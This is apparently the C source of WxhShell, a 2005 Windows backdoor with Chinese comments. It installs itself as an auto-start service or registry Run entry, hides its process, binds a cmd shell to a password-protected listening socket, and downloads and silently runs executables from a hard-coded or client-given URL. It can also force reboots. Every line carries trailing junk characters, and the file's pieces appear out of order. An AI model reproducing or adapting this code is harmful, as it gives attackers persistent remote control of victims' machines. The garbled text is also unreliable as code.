    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?> MoV5  
    if(Boot(SHUTDOWN)) K# i*9sM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mz VuQ  
    else { ~sHZh  
    closesocket(wsh); YTjuSV  
    ExitThread(0); W3V{Xk|  
    } fpK0MS]=b  
    break; LB*#  
    } ;*4tVp,  
  // 获取shell ilRm}lU|x  
  case 's': { J]Gc  
    CmdShell(wsh); K?Xo3W%K  
    closesocket(wsh); M`C~6Mf+  
    ExitThread(0); $|cp;~ 1  
    break; R#7+  
  } KB,~u*~!  
  // 退出 2 .Eu+*UC  
  case 'x': { %hQMC'c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;+ C o!L  
    CloseIt(wsh); d1uG[  
    break; %$Jq t  
    } D=82$$  
  // 离开 ^Azt.\fMX  
  case 'q': { f.$aFOn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5<)gCHa  
    closesocket(wsh); 1IF'>*  
    WSACleanup(); /_:T\`5uO  
    exit(1); }KD7 Y  
    break; .e FOfV)  
        } u_p7Mcb  
  } D*XZT{1g  
  } $&xuVBs   
y= oVUsG  
  // 提示信息 47C(\\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rg8m4xw  
} PzMlua  
  } 0279g   
q lz9&w  
  return; z|G|Y 22  
} %0+h  
#Cg}!38  
// shell模块句柄 <m Ju v  
int CmdShell(SOCKET sock) WbC0H78]  
{ )p/=u@8_f  
STARTUPINFO si; "RV`L[(P*k  
ZeroMemory(&si,sizeof(si)); KJ0xp h f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6Q.{llO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H)`CncB  
PROCESS_INFORMATION ProcessInfo; b(.-~c('  
char cmdline[]="cmd"; -~v l+L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7]/dg*A )C  
  return 0; ,YP1$gj  
} '!j #X_;  
OYszW]UMg  
// 自身启动模式 Ie G7@  
int StartFromService(void) O8K@&V p  
{ #D|! .I)  
typedef struct %XEKhy  
{ Q(~3pt  
  DWORD ExitStatus; 5+e>+$2  
  DWORD PebBaseAddress; ~")h E%Kl}  
  DWORD AffinityMask; e-[>( n/[  
  DWORD BasePriority; Fb<n0[m  
  ULONG UniqueProcessId; Lv `#zgo_f  
  ULONG InheritedFromUniqueProcessId; d\~p5_5.  
}   PROCESS_BASIC_INFORMATION; zAeGkP~K  
`3 f_d}b  
PROCNTQSIP NtQueryInformationProcess; D+@-XU<Lp<  
zW*}`S "  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +3M$3w{2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^=eq .(>  
5SoZ$,a<e  
  HANDLE             hProcess; t{/hkXq]  
  PROCESS_BASIC_INFORMATION pbi; u] F7 0C^~  
iBG`43;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *)MX%`Z}  
  if(NULL == hInst ) return 0; jP1$qhp  
jrIA]K6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |0tg:\.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UH5w7M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q>^hoW2$C  
:|Z$3q  
  if (!NtQueryInformationProcess) return 0; 54<6Dy f  
oS~}TR:}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vo #:CB=8  
  if(!hProcess) return 0; ;knd7SC   
{*N^C@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~_'0]P\  
Hl4\M]]/&  
  CloseHandle(hProcess); sT)6nV  
2< p{z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >4,{6<|  
if(hProcess==NULL) return 0; 3@&bxYXm  
1<`9HCm  
HMODULE hMod; , Hn7(^t  
char procName[255]; 5d+<EF+N  
unsigned long cbNeeded; (Up'$J}  
x Y| yI>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ZS\i4  
[#0Yt/G  
  CloseHandle(hProcess); t)ld<9)eB  
,E&Bn8L~O  
if(strstr(procName,"services")) return 1; // 以服务启动 YZibi  
qtHfz"p  
  return 0; // 注册表启动 oAY_sg+  
} tVunh3-  
.8]Y-  
// 主模块 gA_krK ,Z  
int StartWxhshell(LPSTR lpCmdLine) kBbl+1{H  
{ _ENuwBYW-  
  SOCKET wsl; ^ |aNG`|O  
BOOL val=TRUE; =N_,l'U\^  
  int port=0; 4YLs^1'TG0  
  struct sockaddr_in door; h 'l^g%;  
71O3O7  
  if(wscfg.ws_autoins) Install(); 2Pp&d>E4  
]NtSu%u  
port=atoi(lpCmdLine); ?vu_k 'io  
. |uLt J  
if(port<=0) port=wscfg.ws_port; |z~LzSJv  
}~Q5Y3]#~  
  WSADATA data; Q2eXK[?*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gLIT;BK  
I]X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b{RqwV5P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pc H<gF(k  
  door.sin_family = AF_INET; aX^+ O,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9cQ_mgch  
  door.sin_port = htons(port); nLy#|C  
YsP/p-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }>&KUl  
closesocket(wsl); gDCOLDM  
return 1; M$A#I51  
} dig~J\  
<tbZj=*O/o  
  if(listen(wsl,2) == INVALID_SOCKET) { 6z?gg3GV  
closesocket(wsl); ,+._;[k  
return 1; ni6r{eSQ  
} =Ikg.jYq&F  
  Wxhshell(wsl); D|_V<'  
  WSACleanup(); u,7zFg)H  
zX kx7d8  
return 0; nxaT.uFd1  
lJ{V  
} 8~ #M{}  
xd8 *<,Wj  
// 以NT服务方式启动 M=y0PCD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R8&|+ya  
{ gUVn;_  
DWORD   status = 0; 7zDiHac  
  DWORD   specificError = 0xfffffff; T&xt` |  
6;oe=Q:Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {J]-<:XD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a3@w|KLt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z^W$%G  
  serviceStatus.dwWin32ExitCode     = 0; dqe7sZl!  
  serviceStatus.dwServiceSpecificExitCode = 0; kWL.ewTiex  
  serviceStatus.dwCheckPoint       = 0; [pgZbOIN37  
  serviceStatus.dwWaitHint       = 0; 7*s8 ttX  
R$m`Z+/@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B@t'U=@7  
  if (hServiceStatusHandle==0) return; (~s|=Hxq|-  
]Kde t"+  
status = GetLastError(); xx8U$,Ng  
  if (status!=NO_ERROR) w([$@1]  
{ ]gEhE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <]G${y*;  
    serviceStatus.dwCheckPoint       = 0; ,EEPh>cXc  
    serviceStatus.dwWaitHint       = 0; *'R#4@wmP  
    serviceStatus.dwWin32ExitCode     = status; ^J x$t/t  
    serviceStatus.dwServiceSpecificExitCode = specificError; lKV"Mh+6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}%~oT  
    return; V"RpH,  
  } .ve *Vp  
]hTb@.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ftZj}|R!  
  serviceStatus.dwCheckPoint       = 0; rdJB*Rlkh  
  serviceStatus.dwWaitHint       = 0; <I=$ry6 8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IA*KaX2S<  
} .%xzT J=!  
>SCGK_Cr2  
// 处理NT服务事件,比如:启动、停止  Mm= Mz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3qM Nl>>  
{ 9dKul,c  
switch(fdwControl) $=aI "(3&  
{ 3071:W  
case SERVICE_CONTROL_STOP: smU4jh9S  
  serviceStatus.dwWin32ExitCode = 0; RiFw?Q+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >3D7tK(  
  serviceStatus.dwCheckPoint   = 0; =-jD~rN4;P  
  serviceStatus.dwWaitHint     = 0; g+[kde;(^  
  { yA7 )Y})>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n:#TOU1ix<  
  } 83iCL;GS=  
  return; (ku5WWJ  
case SERVICE_CONTROL_PAUSE: (#Mp 5C'X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RKkGITDk  
  break; w|Aqqe  
case SERVICE_CONTROL_CONTINUE: D`o<,Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )0CQP  
  break; pSAR/':eg  
case SERVICE_CONTROL_INTERROGATE: "pvZ,l>8f  
  break; VOgi7\  
}; d53 L65[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d@kc[WLD^  
} s ic$uT  
&Cro2|KZhG  
// 标准应用程序主函数 }Uw#f@Wh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e%6{ME 3  
{ <,8l *1C  
45+{nN[  
// 获取操作系统版本 ~1(j&&kXet  
OsIsNt=GetOsVer(); }E&NPp>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p2pAvlNoF  
y{=NP  
  // 从命令行安装 `~F5 wh~  
  if(strpbrk(lpCmdLine,"iI")) Install(); c{3rl;Cs  
EESN\_{~.  
  // 下载执行文件 FLr ;`3  
if(wscfg.ws_downexe) { SN">gmY+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zz"}Cz:bX  
  WinExec(wscfg.ws_filenam,SW_HIDE); cvo[s, p  
} 4E3g,%9u  
=!.m GW-Q}  
if(!OsIsNt) { 9K"JYJ q2  
// 如果时win9x,隐藏进程并且设置为注册表启动 T[uDZYx  
HideProc();  v[,Src  
StartWxhshell(lpCmdLine); H5xzD9K;/C  
} :,UN8L "  
else >- Bg%J9  
  if(StartFromService()) r/r:oXK  
  // 以服务方式启动 aW;aA'!  
  StartServiceCtrlDispatcher(DispatchTable);  tFh|V pB  
else 1mW%  
  // 普通方式启动 's%q  
  StartWxhshell(lpCmdLine); /L~m#HxWU  
;A#~` P  
return 0; $k0H9_  
} &O1v,$}'  
m4/er539T  
3Sh+u>w  
yYTVXs`fVj  
=========================================== w]!0<  
FC>d_=V  
RQ' H!(K  
.9M.|  
At9X]t  
=3'(A14C=  
" AK/:I>M  
RU_L<Lpi  
#include <stdio.h> |f' 8p8J  
#include <string.h> optBA3@e!  
#include <windows.h> r"_Y3SxxL  
#include <winsock2.h> C{m&}g`  
#include <winsvc.h> .W.;~`EW  
#include <urlmon.h> O%JSViPw  
ElR)Gd_8  
#pragma comment (lib, "Ws2_32.lib") KD*O%@X5C  
#pragma comment (lib, "urlmon.lib") .Ff_s  
>FFVY{F  
#define MAX_USER   100 // 最大客户端连接数 XB/'u39  
#define BUF_SOCK   200 // sock buffer tOg=zXm   
#define KEY_BUFF   255 // 输入 buffer  ;}4k{{K  
,"G\f1  
#define REBOOT     0   // 重启 !Q)3-u  
#define SHUTDOWN   1   // 关机 p\D >z("  
F(4yS2h(  
#define DEF_PORT   5000 // 监听端口 ukihx?5  
x_:hii?6V  
#define REG_LEN     16   // 注册表键长度 qgexb\x\4  
#define SVC_LEN     80   // NT服务名长度 Y5%;p33uFG  
pVG>A&4  
// 从dll定义API GX38~pq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (%DRt4u <H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YFvgz.>QE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UR:n5V4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0k1MKzi Q  
%b<%w    
// wxhshell配置信息 8=4^Lm  
struct WSCFG { SIv[9G6  
  int ws_port;         // 监听端口 [%~NM/xu<  
  char ws_passstr[REG_LEN]; // 口令 >hb- 5xC  
  int ws_autoins;       // 安装标记, 1=yes 0=no }td6fj_{  
  char ws_regname[REG_LEN]; // 注册表键名 JtmQzr0>  
  char ws_svcname[REG_LEN]; // 服务名 /Ynt<S9"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Y;'[.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 { _X#fq0}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c#x7N9;"!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2K~tDNv7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  p1?J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;]u1~  
~,+[M-  
}; |{!Ns+'  
4sQ~&@[Q+  
// default Wxhshell configuration !g/_ w  
struct WSCFG wscfg={DEF_PORT, M Hn&; A]  
    "xuhuanlingzhe", #nDL  
    1, ugRV5bUk  
    "Wxhshell", cnYYs d{  
    "Wxhshell", wEv*1y4  
            "WxhShell Service", EyPy*_A  
    "Wrsky Windows CmdShell Service", >:fJhF@  
    "Please Input Your Password: ", rcW#6VZ=  
  1, Z%A<#%    
  "http://www.wrsky.com/wxhshell.exe", -MsuBf  
  "Wxhshell.exe" L1:}bH\y  
    }; +Hi{ /{k0N  
H|x k${R`  
// 消息定义模块  bsD'\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #C'o'%!(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e4?<GT   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r)(i{:@r`  
char *msg_ws_ext="\n\rExit."; &<#/&Pq/i  
char *msg_ws_end="\n\rQuit."; U8U/?zW/&  
char *msg_ws_boot="\n\rReboot..."; >n#g9vK  
char *msg_ws_poff="\n\rShutdown..."; e(4bx5 <*  
char *msg_ws_down="\n\rSave to "; (#CB q  
1h& )I%`?  
char *msg_ws_err="\n\rErr!";  |UABar b  
char *msg_ws_ok="\n\rOK!"; l6yB_ M  
d#RF0,Y9  
char ExeFile[MAX_PATH]; 60(}_%  
int nUser = 0; H@Kl  
HANDLE handles[MAX_USER]; G >I.  
int OsIsNt; 5mDVFb 3a  
!Q<8c =f  
SERVICE_STATUS       serviceStatus; 3T Yo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *_}IeNc  
a-SB1-5jf  
// 函数声明 qYQUr8{  
int Install(void); WXRHG)nvL  
int Uninstall(void); VGkW3Nt0  
int DownloadFile(char *sURL, SOCKET wsh); oC ^z_AtZ  
int Boot(int flag); W ??;4  
void HideProc(void); 8HHgN`_  
int GetOsVer(void); KzxW?Ji$S  
int Wxhshell(SOCKET wsl); ])3lH%4-  
void TalkWithClient(void *cs); e2,<,~_K6  
int CmdShell(SOCKET sock); PxdJOtI"  
int StartFromService(void); :8p2Jxm  
int StartWxhshell(LPSTR lpCmdLine); i2`.#YJ&v  
nvm1.}=Cnd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  3D[:Rf[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S5YDS|K  
/It.>1~2@  
// 数据结构和表定义 n0 fF,?gm  
SERVICE_TABLE_ENTRY DispatchTable[] = b{9HooQ{  
{ eB}sg4  
{wscfg.ws_svcname, NTServiceMain}, x);?jxd  
{NULL, NULL} OsHkAI  
}; ^mQ;CMV  
=1uj1.h  
// 自我安装 }lr fO_  
int Install(void) TZ`]#^kU  
{ iq[2H$  
  char svExeFile[MAX_PATH]; 3P<Zzt%eT  
  HKEY key; s\n,Z?m  
  strcpy(svExeFile,ExeFile); 7,&3=R <  
tCF0Ah  
// 如果是win9x系统,修改注册表设为自启动 QWIOim-  
if(!OsIsNt) { #o}{cXX#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'J&@jp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]h`E4B  
  RegCloseKey(key); yA`]%U((  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "O"^\f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k(w9vt0?  
  RegCloseKey(key); P(W\aLp  
  return 0; oM? C62g\  
    } X/?h!Y}  
  } 6A{s%v H  
} Vq;{+j(  
else { 1v8:,!C  
Y/Gswcz  
// 如果是NT以上系统,安装为系统服务 } cH"lppX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]#Z$jq{,  
if (schSCManager!=0) C[/U y  
{ Dv\:b*  
  SC_HANDLE schService = CreateService @,f,tk=\S  
  ( i}&mz~  
  schSCManager, IWbp^l+!t  
  wscfg.ws_svcname, ~wd?-$;070  
  wscfg.ws_svcdisp,  p% YvP  
  SERVICE_ALL_ACCESS, ]|\>O5eeu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p<^/T,&I  
  SERVICE_AUTO_START, <@;xV_`X+  
  SERVICE_ERROR_NORMAL, nR|uAw  
  svExeFile, MRY)m@*+6  
  NULL, j]] ziz,E  
  NULL, '-1jWw:8  
  NULL, H9a3 rA>  
  NULL, C&#KdvN/r  
  NULL J&0wl]w|O%  
  ); 7^ Q$pT>  
  if (schService!=0) +^% &8<  
  { -<HvhW  
  CloseServiceHandle(schService); jwE(]u  
  CloseServiceHandle(schSCManager); =v#A&IPA'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J*4_|j;Z-E  
  strcat(svExeFile,wscfg.ws_svcname); o\V4qekk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,EJ [I^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BtBt>r(*  
  RegCloseKey(key); dUVTQ18F  
  return 0; :^.87>V7  
    } ,Z\,IRn  
  } 1*`JcUn,>  
  CloseServiceHandle(schSCManager); 'H-YFB$l  
} {xb%P!o`  
} T!eh?^E  
Spw=+z<<Ub  
return 1; V?=zuB?'  
} VH1c)FI  
Ta5iY }  
// 自我卸载 )k<~}wvQ0  
int Uninstall(void) {*P7)  
{ lNnbd?D8  
  HKEY key; f#-T%jqnK  
/P:WQ*  
if(!OsIsNt) { 6!L*q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HC, 0" W  
  RegDeleteValue(key,wscfg.ws_regname); U=1`. Ove  
  RegCloseKey(key); rVW'KN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6L% R@r  
  RegDeleteValue(key,wscfg.ws_regname); s 17gi,"X  
  RegCloseKey(key); _=$!T;}lE  
  return 0; xB]v  
  } RloPP  
} ;,hoX6D$  
} &WV 9%fI  
else { > <[.  
+s 0Bt '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iSW73P;)  
if (schSCManager!=0) 5'[X&r %#  
{ S#z8H+'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OmuZ 0@ .  
  if (schService!=0) 5} aC'j\  
  { i*E`<9  
  if(DeleteService(schService)!=0) { $7 Uk;xV  
  CloseServiceHandle(schService); 3@bjIX`=H  
  CloseServiceHandle(schSCManager); L#N.pd  
  return 0; &H>dE]Hq,  
  } $ T_EsnN  
  CloseServiceHandle(schService); r1?FH2Ns  
  } *N+aZV}`Z  
  CloseServiceHandle(schSCManager); -k{R<L  
} D6:J*F&?  
} #IwB  
=KD*+.'\/  
return 1; VO6y9X"  
} NUtyUv  
$q+`GXc-  
// 从指定url下载文件 . +?lID  
int DownloadFile(char *sURL, SOCKET wsh) nU *fne?  
{ *[YN|  
  HRESULT hr; ;a)\5Uy  
char seps[]= "/"; ea+rjvm  
char *token; &3?yg61Ag  
char *file; Br!&Y9  
char myURL[MAX_PATH]; I]$d,N!.  
char myFILE[MAX_PATH]; ?d)|vX3Uf  
_q$ fw&  
strcpy(myURL,sURL); _x{x#d;L3  
  token=strtok(myURL,seps); N^N?!I  
  while(token!=NULL) ?R}oXSVT  
  { @>j \~<%  
    file=token; l[|e3<H  
  token=strtok(NULL,seps); qZ }XjL  
  } SLo/7$rct  
=h;!#ZC  
GetCurrentDirectory(MAX_PATH,myFILE); 0wcWDE 9  
strcat(myFILE, "\\"); c y$$}  
strcat(myFILE, file); xGA0] _  
  send(wsh,myFILE,strlen(myFILE),0); PEl]HI_H  
send(wsh,"...",3,0); b4ivWb|`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6f>HE'N  
  if(hr==S_OK) ?Gfe?  
return 0; `d}W;&c  
else '?{0z!!  
return 1; :b<-[8d&  
Exep+x-  
} |`_ <@b  
gB/;clCdX)  
// 系统电源模块 Yw~;g: =  
int Boot(int flag) kF(Ce{;z  
{ }iPo8Ra  
  HANDLE hToken; 5 1o@b  
  TOKEN_PRIVILEGES tkp; ; @ 7  
V~'k1P4  
  if(OsIsNt) { y!7B,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b:fxkQm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U/.w;DI   
    tkp.PrivilegeCount = 1; #2Ac  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ff[H>Lp~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f*{M3"$E  
if(flag==REBOOT) { (y=dR1p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /Qr A8  
  return 0; vn|TiZ  
} W.yV/fu  
else { 5c<b|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |9+bSH9  
  return 0; NlA*\vco  
} l*QIoRYFW  
  } kj x>  
  else { 8'3"uv  
if(flag==REBOOT) { i Bi7|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /t$rX3A  
  return 0; ~J%R-{U9  
} d>YmKTk"  
else { IgLVn<5n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6eD(dZ  
  return 0; U^B"|lc:[  
} (d54C(")  
} vAi"$e  
/r>IV`n{  
return 1; vkd *ER^  
} ah 4kA LO  
0o;k?4aP.c  
// win9x进程隐藏模块 D._{E*vg  
void HideProc(void) %'$f ?y  
{ DD2adu^  
(gLea  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )r=9]0=  
  if ( hKernel != NULL ) }bZ 8-v  
  { /d[Mss  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <sa #|Y$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aZP 2R"  
    FreeLibrary(hKernel); (viWY  
  } iA]DE`S  
 64SW  
return; 8IeI0f"l)  
} `4_c0 q)N4  
2v4W6R  
// 获取操作系统版本 i)=m7i  
int GetOsVer(void) =`JW1dM  
{ YDW|-HIF  
  OSVERSIONINFO winfo; 2bkJ /u`i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b)d^ `J  
  GetVersionEx(&winfo); C B6A}m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VXA[ TIqp  
  return 1; uN8/Q2   
  else k j-=xhJ{=  
  return 0; 5PDSA*  
} MBlBMUJk  
B& "RS  
// 客户端句柄模块 0',[J  
int Wxhshell(SOCKET wsl) (nq^\ZdF  
{ +N7"EROc  
  SOCKET wsh; Z4#v~!  
  struct sockaddr_in client; eIsT!V" 7  
  DWORD myID; a#$N%=j  
yWNOG 2qAP  
  while(nUser<MAX_USER) Oo1ecbY  
{ i@XB&;*c\  
  int nSize=sizeof(client); _H8*ReFG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |U EC  
  if(wsh==INVALID_SOCKET) return 1; \X5 3|Y;=  
h D.)M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W tVf wC_  
if(handles[nUser]==0) V:OiW"/  
  closesocket(wsh); GB =bG%Tb  
else >nK%^T  
  nUser++; < <sE`>)  
  } e?P%wqB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `w+1C&>^[  
Wxn#Rk#>  
  return 0; t3a#%'Dv  
} {yS;NU`2  
z0 \N{rP&  
// 关闭 socket T)~!mifX  
void CloseIt(SOCKET wsh) "Vy WT  
{ zqf[Z3  
closesocket(wsh); XhN{S]Wn  
nUser--; m8+:=0|$  
ExitThread(0); `7\H41%\pp  
} !D;c,{Oz  
6OtVaT=}<O  
// 客户端请求句柄 XXm'6xD-  
void TalkWithClient(void *cs) uXpv*i {R  
{ #1gO?N(<=  
#)]E8=}  
  SOCKET wsh=(SOCKET)cs; u{Ak:0G7  
  char pwd[SVC_LEN]; {OP~8e"  
  char cmd[KEY_BUFF]; 1qZG`Vz  
char chr[1]; V^sc1ak1Q  
int i,j; pV=@sz,G  
h/?6=D{  
  while (nUser < MAX_USER) { \0&SI1Yp  
S3y246|4  
if(wscfg.ws_passstr) { `ET& VV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RG}}Oh="v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `tVy_/3(9  
  //ZeroMemory(pwd,KEY_BUFF); )4m_A p\  
      i=0; w & P&7  
  while(i<SVC_LEN) { E}YI WTX  
SiTeB)/  
  // 设置超时 8R?I`M_b  
  fd_set FdRead; FM\[].  
  struct timeval TimeOut; 30d#Lq  
  FD_ZERO(&FdRead); U\bC0q   
  FD_SET(wsh,&FdRead); q3+8]-9|5  
  TimeOut.tv_sec=8; T5e^J"   
  TimeOut.tv_usec=0; iRve)   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ZyT3P&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FN\GE\H  
LGVlc@0'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CXAVGO'xw  
  pwd=chr[0]; 6t m \L  
  if(chr[0]==0xd || chr[0]==0xa) { V.VJcx  
  pwd=0; t$I|E  
  break; T 6HU*(  
  } 9/3;{`+[a  
  i++; PeNF+5s/K  
    } A[JM4x   
"+h/-2rA  
  // 如果是非法用户,关闭 socket <\aU"_D   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A3q*$.[  
} u)~s4tP4  
A*i_|]Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1;&T^Gdj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BIfi:7I;Q  
Y /lN@  
while(1) { (>AFyh&3,X  
%VJW@S>j/  
  ZeroMemory(cmd,KEY_BUFF); ] .5O X84  
<|H ?gfM  
      // 自动支持客户端 telnet标准   L|\Diap  
  j=0; ~:Mm<*lL%  
  while(j<KEY_BUFF) { E474l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @O/,a7Tt  
  cmd[j]=chr[0]; =DMbz`t  
  if(chr[0]==0xa || chr[0]==0xd) { *Hunp Y  
  cmd[j]=0; o^GC=Aca`  
  break; fA^SD"xf  
  } Ef,Cd[]b  
  j++; <'2u a  
    } 9,WG!4:+W  
7#pZa.B)k  
  // 下载文件 784;]wdy\  
  if(strstr(cmd,"http://")) { D9o*8h2$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ' ^a!`"Bc  
  if(DownloadFile(cmd,wsh)) m&Sp1=*Ejy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M&[b.t*  
  else fS I%c3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (}~ucI<~  
  } fU ={a2  
  else { >EIrw$V$  
|Fp'/~|w2d  
    switch(cmd[0]) { P) 1 EA;  
  v#Upw\!  
  // 帮助 ?Aw3lH#:  
  case '?': { kzi|$Gs<  
